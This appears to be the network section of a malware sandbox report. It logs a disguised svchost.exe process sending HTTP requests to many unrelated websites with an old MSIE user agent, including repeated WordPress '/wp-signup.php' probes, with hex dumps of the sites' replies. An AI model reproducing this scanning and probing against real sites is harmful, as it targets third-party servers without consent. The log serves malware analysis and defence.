2023-07-27 19:53:57 UTC	1546	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-07-27 19:53:57 UTC	1546	IN	HTTP/1.1 403 Forbidden Date: Thu, 27 Jul 2023 19:53:57 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 19:53:57 UTC	1546	IN	Data Raw: 32 63 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c3<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	57472	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:57 UTC	1547	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-07-27 19:53:57 UTC	1547	IN	HTTP/1.1 403 Forbidden Date: Thu, 27 Jul 2023 19:53:57 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 19:53:57 UTC	1548	IN	Data Raw: 32 63 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c3<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	57723	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:58 UTC	1548	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-07-27 19:53:58 UTC	1549	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 27 Jul 2023 19:53:58 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-07-27 19:53:58 UTC	1549	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	50157	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:35 UTC	74	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-07-27 19:53:35 UTC	75	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 27 Jul 2023 19:53:35 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-07-27 19:53:35 UTC	75	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	57738	75.2.95.235	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:58 UTC	1549	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: ldh.la.gov
2023-07-27 19:53:58 UTC	1549	IN	HTTP/1.1 406 Not Acceptable Date: Thu, 27 Jul 2023 19:53:58 GMT Content-Type: text/html Content-Length: 1346 Connection: close Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET
2023-07-27 19:53:58 UTC	1550	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 36 20 2d 20 43 6c 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>406 - Cli

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	54016	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:59 UTC	1551	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-07-27 19:54:01 UTC	1569	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=99 Content-Length: 49180 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Thu, 27 Jul 2023 19:54:00 GMT Connection: close
2023-07-27 19:54:01 UTC	1569	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-07-27 19:54:01 UTC	1573	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-07-27 19:54:01 UTC	1581	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-07-27 19:54:01 UTC	1589	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-07-27 19:54:01 UTC	1597	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-07-27 19:54:01 UTC	1605	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-07-27 19:54:01 UTC	1645	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 64 74 2d 74 68 65 37 2f 6a 73 2f 6d 61 69 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 36 2e 30 2e 31 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 70 63 66 37 3d 7b 22 61 70 69 53 65 74 74 69 6e 67 73 22 3a 7b 22 72 6f 6f 74 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 6a 73 6f 6e 5c 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 5c 2f 76 31 22 2c 22 6e 61 6d 65 73 70 61 63 65 22 3a 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a Data Ascii: https://dataform.co.uk/wp-content/themes/dt-the7/js/main.min.js?ver=6.6.0.1'></script><script type='text/javascript'>//<![CDATA[var wpcf7={"apiSettings":{"root":"https:\/\/dataform.co.uk\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"}};

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	59014	172.67.193.133	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:59 UTC	1551	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.com
2023-07-27 19:53:59 UTC	1551	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 19:53:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding,User-Agent Set-Cookie: PHPSESSID=85d5efdd0e6699b5154e779d05713eb1; path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XscvW%2F1quD05P4iKpmHaRFc6gFc3dKdU%2FKLdNpVHU3z1tFl8X10dlIAI0QckO9FLhWreduFZQMUO9PkQHcj9ZyMiPVY90DjjSbU%2FZYOmRRqXytmoDhAVi5ErOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76e83dd4e18af-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:53:59 UTC	1552	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	59205	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:00 UTC	1552	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-07-27 19:54:02 UTC	1685	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=95 Content-Length: 49180 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Thu, 27 Jul 2023 19:54:02 GMT Connection: close
2023-07-27 19:54:02 UTC	1685	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-07-27 19:54:02 UTC	1689	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-07-27 19:54:02 UTC	1697	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
